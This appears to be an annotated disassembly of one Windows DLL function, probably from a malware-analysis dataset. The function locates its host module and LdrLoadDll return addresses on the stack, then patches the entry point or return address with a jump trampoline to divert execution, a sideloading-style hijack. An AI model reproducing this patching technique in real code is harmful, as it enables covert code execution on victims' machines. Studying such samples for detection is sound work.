Function at 0x180001400
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get process image filename

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3f8
movaps xmmword [rsp + 0x3e0], xmm6
lea rsi, [rsp + 0x2d0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8d, 0x104
call sub.KERNEL32.dll_K32GetProcessImageFileNameA
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
mov rcx, rsi
call fcn.180004f10
test rax, rax
js 0x18000183f
mov rsi, rax
cmp rax, 0xf
ja 0x18000148b
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2d0]
mov r8, rsi
call fcn.180003100
add rsi, rsp
add rsi, 0x30
jmp 0x1800014f0
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1800014bf
lea rcx, [rbx + 0x28]
call fcn.180001914
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800014cb
lea rcx, [rbx + 1]
call fcn.180001914
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
lea rdx, [rsp + 0x2d0]
mov rcx, rdi
mov r8, rsi
call fcn.180003100
add rsi, rdi
mov byte [rsi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 8
mov edx, eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
mov dword [rsp + 0x98], 0x238
lea rdx, [rsp + 0x98]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
xor esi, esi
test eax, eax
je 0x180001606
lea rbx, [rsp + 0xc8]
lea rsi, [rsp + 0x30]
jmp 0x180001568
sub r13, r12
cmp r13, 0xffffffffffffffff
jne 0x180001614
nop dword [rax]
mov rcx, rdi
lea rdx, [rsp + 0x98]
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x18000160d
mov rcx, rbx
call fcn.180004f10
mov r15, rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
mov r12, rsi
cmovae r12, rax
sub rcx, r15
jb 0x180001550
test r15, r15
je 0x180001614
cmp rdx, 0x10
cmovb rax, rsi
lea r14, [rax + rcx]
inc r14
movsx ebp, byte [rsp + 0xc8]
mov r8, r14
sub r8, r12
mov rcx, r12
mov edx, ebp
call fcn.180002f60
test rax, rax
je 0x180001550
mov r13, rax
nop word cs:[rax + rax]
mov rcx, r13
mov rdx, rbx
mov r8, r15
call fcn.180003000
test eax, eax
je 0x18000153c
inc r13
mov r8, r14
sub r8, r13
mov rcx, r13
mov edx, ebp
call fcn.180002f60
mov r13, rax
test rax, rax
jne 0x1800015d0
jmp 0x180001550
xor r12d, r12d
xor ebx, ebx
jmp 0x180001626
xor r12d, r12d
xor ebx, ebx
jmp 0x180001624
mov rbx, qword [rsp + 0xb0]
mov r12d, dword [rsp + 0xb8]
xor esi, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x18000178e
test r12d, r12d
je 0x18000178e
lea rcx, [0x18001548e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LdrLoadDll
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r14, [rsp + 0x438]
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadStackLimits]
mov rax, qword [rsp + 0x58]
cmp rax, r14
jbe 0x18000172c
lea r15, [rsi + 0x1000]
mov r12d, r12d
add r12, rbx
xor edi, edi
xorps xmm6, xmm6
mov r13, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rbp, r14
jmp 0x1800016bf
xor edi, edi
add r14, 8
add rbp, 8
cmp rax, rbp
jbe 0x18000172c
mov rcx, qword [r14]
cmp rcx, 0x1000
jb 0x1800016b2
cmp rcx, rsi
setbe dl
cmp rcx, r15
setae r8b
or r8b, dl
cmp r8b, 1
jne 0x1800016e5
test edi, edi
je 0x1800016b0
mov edi, 1
cmp rcx, rbx
jbe 0x1800016b2
cmp rcx, r12
jae 0x1800016b2
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [r14]
mov r8d, 0x30
lea rdx, [rsp + 0x60]
call r13
test byte [rsp + 0x84], 0x20
jne 0x1800017ed
mov rax, qword [rsp + 0x58]
jmp 0x1800016b2
movsxd rax, dword [rbx + 0x3c]
mov r14d, dword [rbx + rax + 0x28]
lea rsi, [rbx + r14]
mov r15, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdi, [rsp + 0x60]
mov edx, 0xc
mov rcx, rsi
mov r8d, 0x40
mov r9, rdi
call r15
mov qword [rbx + r14], 0xb848
mov dword [rbx + r14 + 8], 0xe0ff0000
lea rax, [0x1800013e0]
mov qword [rbx + r14 + 2], rax
mov r8d, dword [rsp + 0x60]
mov edx, 0xc
mov rcx, rsi
mov r9, rdi
call r15
mov esi, 1
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x1800017cf
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800017ca
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001844
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180001958
mov eax, esi
movaps xmm6, xmmword [rsp + 0x3e0]
add rsp, 0x3f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [r14]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdi, [rsp + 0x2c]
mov edx, 0xc
mov rcx, rsi
mov r8d, 0x40
mov r9, rdi
call rbx
mov qword [rsi], 0xb848
mov dword [rsi + 8], 0xe0ff0000
lea rax, [0x1800013e0]
mov qword [rsi + 2], rax
mov r8d, dword [rsp + 0x2c]
mov edx, 0xc
mov rcx, rsi
mov r9, rdi
call rbx
jmp 0x180001789
call fcn.1800018a0
call fcn.1800048dc
int3